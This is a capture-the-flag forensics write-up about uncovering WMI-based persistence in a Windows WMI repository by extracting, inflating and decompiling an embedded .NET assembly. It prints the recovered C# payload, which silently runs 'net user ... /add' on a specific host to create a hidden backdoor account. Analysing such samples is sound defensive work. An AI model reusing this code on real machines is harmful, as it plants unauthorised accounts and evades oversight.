Hacker Holidays Day 12: After Hours

You get raw Windows artifacts and a note that someone logs in after hours, but nothing shows in Startup, Scheduled Tasks or the Run keys. The five files (INDEX.BTR, MAPPING1-3.MAP, OBJECTS.DATA) are a Windows WMI repository. WMI event subscriptions live in a CIM database, not in any of the usual autorun locations, which is why the standard tools miss them.

Finding the payload

OBJECTS.DATA holds the class definitions and instance data. I filtered out the built-in classes to surface anything custom, then hunted for a long embedded blob, both as ASCII and UTF-16LE:

strings -e l -n 40 OBJECTS.DATA | grep -E '^[A-Za-z0-9+/]{40,}={0,2}$'

That surfaced one long base64 blob repeated several times, a stored property value. Base64 decoding gave high-entropy binary with no signature. zlib, gzip and lzma failed, but raw deflate with no zlib header worked:

out = zlib.decompressobj(-15).decompress(base64.b64decode(blob))

That unpacked into an MZ header, a small .NET assembly.

Reading it

ILSpy decompiled it back to C#:

if (string.Equals(Environment.MachineName, "bytelotusdc", StringComparison.OrdinalIgnoreCase))
{
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c net user patch <REDACTED_BASE64> /add";
    psi.WindowStyle = ProcessWindowStyle.Hidden;
    psi.CreateNoWindow = true;
    Process.Start(psi);
}

It gates on Environment.MachineName so it only fires on the right host, then silently runs net user patch <base64> /add, creating a hidden account. That is the persistence, and it explains why the autorun locations were empty. The account “password” is itself base64, and decoding it gives the flag. Redacted here.